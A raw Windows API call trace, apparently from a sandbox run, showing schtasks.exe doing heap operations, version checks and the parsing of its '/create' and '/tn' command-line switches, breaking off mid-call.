[0129.859] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3b70) returned 0x10 [0129.859] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a3b70) returned 1 [0129.859] GetProcessHeap () returned 0x1157a5a0000 [0129.859] GetProcessHeap () returned 0x1157a5a0000 [0129.859] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab4e0) returned 1 [0129.859] GetProcessHeap () returned 0x1157a5a0000 [0129.859] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab4e0) returned 0x20 [0129.859] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab4e0) returned 1 [0129.859] GetProcessHeap () returned 0x1157a5a0000 [0129.859] GetProcessHeap () returned 0x1157a5a0000 [0129.860] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3b90) returned 1 [0129.860] GetProcessHeap () returned 0x1157a5a0000 [0129.860] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3b90) returned 0x8 [0129.860] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a3b90) returned 1 [0129.860] GetProcessHeap () returned 0x1157a5a0000 [0129.860] GetProcessHeap () returned 0x1157a5a0000 [0129.860] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab2d0) returned 1 [0129.860] GetProcessHeap () returned 0x1157a5a0000 [0129.860] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab2d0) returned 0x20 [0129.860] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab2d0) returned 1 [0129.860] GetProcessHeap () returned 0x1157a5a0000 [0129.861] GetProcessHeap () returned 0x1157a5a0000 [0129.861] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ac070) returned 1 [0129.861] GetProcessHeap () returned 0x1157a5a0000 [0129.861] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ac070) returned 0x5a [0129.861] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ac070) returned 1 [0129.861] GetProcessHeap () returned 0x1157a5a0000 [0129.861] GetProcessHeap () returned 0x1157a5a0000 [0129.861] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab6c0) returned 1 [0129.861] GetProcessHeap () returned 0x1157a5a0000 [0129.861] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab6c0) returned 0x20 [0129.862] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab6c0) returned 1 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3bf0) returned 1 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3bf0) returned 0x8 [0129.862] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a3bf0) returned 1 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab870) returned 1 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab870) returned 0x20 [0129.862] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab870) returned 1 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.862] GetProcessHeap () returned 0x1157a5a0000 [0129.863] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa8f0) returned 1 [0129.863] GetProcessHeap () returned 0x1157a5a0000 [0129.863] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa8f0) returned 0x10 [0129.863] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5aa8f0) returned 1 [0129.863] GetProcessHeap () returned 0x1157a5a0000 [0129.863] GetProcessHeap () returned 0x1157a5a0000 [0129.863] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab7b0) returned 1 [0129.863] GetProcessHeap () returned 0x1157a5a0000 [0129.863] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab7b0) returned 0x20 [0129.863] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab7b0) returned 1 [0129.863] GetProcessHeap () returned 0x1157a5a0000 [0129.863] GetProcessHeap () returned 0x1157a5a0000 [0129.864] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3c10) returned 1 [0129.864] GetProcessHeap () returned 0x1157a5a0000 [0129.864] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3c10) returned 0x6 [0129.864] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a3c10) returned 1 [0129.864] GetProcessHeap () returned 0x1157a5a0000 [0129.864] GetProcessHeap () returned 0x1157a5a0000 [0129.864] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab300) returned 1 [0129.864] GetProcessHeap () returned 0x1157a5a0000 [0129.864] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab300) returned 0x20 [0129.864] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab300) returned 1 [0129.864] GetProcessHeap () returned 0x1157a5a0000 [0129.864] GetProcessHeap () returned 0x1157a5a0000 [0129.865] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a4a40) returned 1 [0129.865] GetProcessHeap () returned 0x1157a5a0000 [0129.865] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a4a40) returned 0x18 [0129.865] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a4a40) returned 1 [0129.865] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.865] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.866] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.871] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.871] RtlVerifyVersionInfo (VersionInfo=0x64827c4f0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0129.871] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.871] lstrlenW (lpString="create") returned 6 [0129.871] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0129.871] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.871] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.871] lstrlenW (lpString="create") returned 6 [0129.871] GetProcessHeap () returned 0x1157a5a0000 [0129.871] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab7b0 [0129.871] GetProcessHeap () returned 0x1157a5a0000 [0129.871] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5aab50 [0129.871] _memicmp (_Buf1=0x1157a5aab50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.871] GetProcessHeap () returned 0x1157a5a0000 [0129.872] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x16) returned 0x1157a5aaa50 [0129.872] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.872] _memicmp (_Buf1=0x1157a5a46d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.872] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1157a5a9a60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.872] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x64827c648 | out: lpdwHandle=0x64827c648) returned 0x76c [0129.872] GetProcessHeap () returned 0x1157a5a0000 [0129.872] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x776) returned 0x1157a5ac4b0 [0129.873] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1157a5ac4b0 | out: lpData=0x1157a5ac4b0) returned 1 [0129.873] VerQueryValueW (in: pBlock=0x1157a5ac4b0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x64827c5e0, puLen=0x64827c640 | out: lplpBuffer=0x64827c5e0*=0x1157a5ac860, puLen=0x64827c640) returned 1 [0129.873] _memicmp (_Buf1=0x1157a5a46d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.873] _vsnwprintf (in: _Buffer=0x1157a5a9a60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x64827c5b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.873] VerQueryValueW (in: pBlock=0x1157a5ac4b0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x64827c5d0, puLen=0x64827c638 | out: lplpBuffer=0x64827c5d0*=0x1157a5ac690, puLen=0x64827c638) returned 1 [0129.873] lstrlenW (lpString="schtasks.exe") returned 12 [0129.873] lstrlenW (lpString="schtasks.exe") returned 12 [0129.873] lstrlenW (lpString=".EXE") returned 4 [0129.873] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.873] lstrlenW (lpString="schtasks.exe") returned 12 [0129.873] lstrlenW (lpString=".EXE") returned 4 [0129.873] lstrlenW (lpString="schtasks") returned 8 [0129.873] lstrlenW (lpString="/create") returned 7 [0129.874] _memicmp (_Buf1=0x1157a5a46d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.874] _vsnwprintf (in: _Buffer=0x1157a5a9a60, _BufferCount=0x19, _Format="%s %s", _ArgList=0x64827c5b8 | out: _Buffer="schtasks /create") returned 16 [0129.874] _memicmp (_Buf1=0x1157a5a3880, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.874] GetProcessHeap () returned 0x1157a5a0000 [0129.874] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab2d0 [0129.874] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.874] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.874] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.874] GetProcessHeap () returned 0x1157a5a0000 [0129.874] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x30) returned 0x1157a5a3b50 [0129.874] _vsnwprintf (in: _Buffer=0x1157a5a38a0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x64827c5b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0129.874] GetProcessHeap () returned 0x1157a5a0000 [0129.874] GetProcessHeap () returned 0x1157a5a0000 [0129.874] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ac4b0) returned 1 [0129.874] GetProcessHeap () returned 0x1157a5a0000 [0129.874] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ac4b0) returned 0x776 [0129.875] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ac4b0) returned 1 [0129.875] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.875] GetThreadLocale () returned 0x409 [0129.875] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.875] lstrlenW (lpString="create") returned 6 [0129.875] GetThreadLocale () returned 0x409 [0129.875] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.875] lstrlenW (lpString="?") returned 1 [0129.875] GetThreadLocale () returned 0x409 [0129.875] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.875] lstrlenW (lpString="s") returned 1 [0129.875] GetThreadLocale () returned 0x409 [0129.875] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.876] lstrlenW (lpString="u") returned 1 [0129.876] GetThreadLocale () returned 0x409 [0129.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.876] lstrlenW (lpString="p") returned 1 [0129.876] GetThreadLocale () returned 0x409 [0129.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.876] lstrlenW (lpString="ru") returned 2 [0129.876] GetThreadLocale () returned 0x409 [0129.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.876] lstrlenW (lpString="rp") returned 2 [0129.876] GetThreadLocale () returned 0x409 [0129.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.876] lstrlenW (lpString="sc") returned 2 [0129.876] GetThreadLocale () returned 0x409 [0129.876] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.876] lstrlenW (lpString="mo") returned 2 [0129.887] GetThreadLocale () returned 0x409 [0129.887] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.887] lstrlenW (lpString="d") returned 1 [0129.887] GetThreadLocale () returned 0x409 [0129.887] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.887] lstrlenW (lpString="m") returned 1 [0129.887] GetThreadLocale () returned 0x409 [0129.887] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.887] lstrlenW (lpString="i") returned 1 [0129.887] GetThreadLocale () returned 0x409 [0129.887] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.887] lstrlenW (lpString="tn") returned 2 [0129.887] GetThreadLocale () returned 0x409 [0129.887] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.887] lstrlenW (lpString="tr") returned 2 [0129.887] GetThreadLocale () returned 0x409 [0129.887] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="st") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="sd") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="ed") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="it") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="et") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="k") returned 1 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="du") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="ri") returned 2 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.888] lstrlenW (lpString="z") returned 1 [0129.888] GetThreadLocale () returned 0x409 [0129.888] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="f") returned 1 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="v1") returned 2 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="xml") returned 3 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="ec") returned 2 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="rl") returned 2 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="delay") returned 5 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="np") returned 2 [0129.889] GetThreadLocale () returned 0x409 [0129.889] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.889] lstrlenW (lpString="hresult") returned 7 [0129.889] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.889] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.889] lstrlenW (lpString="/create") returned 7 [0129.889] lstrlenW (lpString="-/") returned 2 [0129.889] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.889] lstrlenW (lpString="create") returned 6 [0129.889] lstrlenW (lpString="create") returned 6 [0129.890] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.890] lstrlenW (lpString="create") returned 6 [0129.890] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.890] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.890] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.890] lstrlenW (lpString="|create|") returned 8 [0129.890] lstrlenW (lpString="|create|") returned 8 [0129.890] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.890] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.890] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.890] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.890] lstrlenW (lpString="/tn") returned 3 [0129.890] lstrlenW (lpString="-/") returned 2 [0129.890] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.890] lstrlenW (lpString="create") returned 6 [0129.890] lstrlenW (lpString="create") returned 6 [0129.890] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.890] lstrlenW (lpString="tn") returned 2 [0129.890] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.890] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.890] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.890] lstrlenW (lpString="|create|") returned 8 [0129.890] lstrlenW (lpString="|tn|") returned 4 [0129.891] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.891] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.891] lstrlenW (lpString="?") returned 1 [0129.891] lstrlenW (lpString="?") returned 1 [0129.891] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.891] lstrlenW (lpString="tn") returned 2 [0129.891] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.891] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|?|") returned 3 [0129.891] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.891] lstrlenW (lpString="|?|") returned 3 [0129.891] lstrlenW (lpString="|tn|") returned 4 [0129.891] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.891] lstrlenW (lpString="s") returned 1 [0129.891] lstrlenW (lpString="s") returned 1 [0129.891] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.891] lstrlenW (lpString="tn") returned 2 [0129.891] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.891] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|s|") returned 3 [0129.891] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.891] lstrlenW (lpString="|s|") returned 3 [0129.891] lstrlenW (lpString="|tn|") returned 4 [0129.891] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.891] lstrlenW (lpString="u") returned 1 [0129.891] lstrlenW (lpString="u") returned 1 [0129.891] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.891] lstrlenW (lpString="tn") returned 2 [0129.891] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.892] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|u|") returned 3 [0129.892] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.892] lstrlenW (lpString="|u|") returned 3 [0129.892] lstrlenW (lpString="|tn|") returned 4 [0129.892] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.892] lstrlenW (lpString="p") returned 1 [0129.892] lstrlenW (lpString="p") returned 1 [0129.892] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.892] lstrlenW (lpString="tn") returned 2 [0129.892] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.892] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|p|") returned 3 [0129.892] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.892] lstrlenW (lpString="|p|") returned 3 [0129.892] lstrlenW (lpString="|tn|") returned 4 [0129.892] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.892] lstrlenW (lpString="ru") returned 2 [0129.892] lstrlenW (lpString="ru") returned 2 [0129.892] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.892] lstrlenW (lpString="tn") returned 2 [0129.892] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.892] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ru|") returned 4 [0129.892] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.892] lstrlenW (lpString="|ru|") returned 4 [0129.892] lstrlenW (lpString="|tn|") returned 4 [0129.892] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0129.892] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.892] lstrlenW (lpString="rp") returned 2 [0129.892] lstrlenW (lpString="rp") returned 2 [0129.893] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.893] lstrlenW (lpString="tn") returned 2 [0129.893] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.893] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rp|") returned 4 [0129.893] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.893] lstrlenW (lpString="|rp|") returned 4 [0129.893] lstrlenW (lpString="|tn|") returned 4 [0129.893] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0129.893] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.893] lstrlenW (lpString="sc") returned 2 [0129.893] lstrlenW (lpString="sc") returned 2 [0129.893] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.893] lstrlenW (lpString="tn") returned 2 [0129.893] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.893] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.893] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.893] lstrlenW (lpString="|sc|") returned 4 [0129.893] lstrlenW (lpString="|tn|") returned 4 [0129.893] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0129.893] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.893] lstrlenW (lpString="mo") returned 2 [0129.893] lstrlenW (lpString="mo") returned 2 [0129.893] _memicmp 